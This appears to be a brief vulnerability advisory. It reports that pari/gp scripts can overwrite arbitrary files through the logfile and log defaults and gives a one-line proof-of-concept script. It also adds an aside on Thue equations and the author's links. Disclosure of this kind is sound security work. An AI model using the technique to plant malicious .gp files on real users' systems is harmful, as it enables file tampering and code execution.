pari/gp 2.x Arbitrary File Overwrite

`pari/gp on debian stable allow arbitrary file write  
  
pari/gp is CAS (computer algebra system).  
pari/gp version 2.9.1 on debian stretch and 2.11 on debian buster  
allow arbitrary file write and hence arbitrary code execution.  
  
poc:  
========  
\\ a.gp  
\\ to run: \r a.gp  
default("logfile","/tmp/a.txt");default("log",1);print("log(1)");  
========  
  
Of mathematical interest is pari was missing solutions  
to Thue equations when assuming GRH (the fix changed polynomial  
bound to exponential bound):  
http://pari.math.u-bordeaux.fr/archives/pari-dev-1207/msg00000.html  
t=thue(thueinit(x^3+92*x+1,0),3^3);t  
  
--   
CV: https://j.ludost.net/resumegg.pdf  
site: http://www.guninski.com  
blog: https://j.ludost.net/blog  
  
`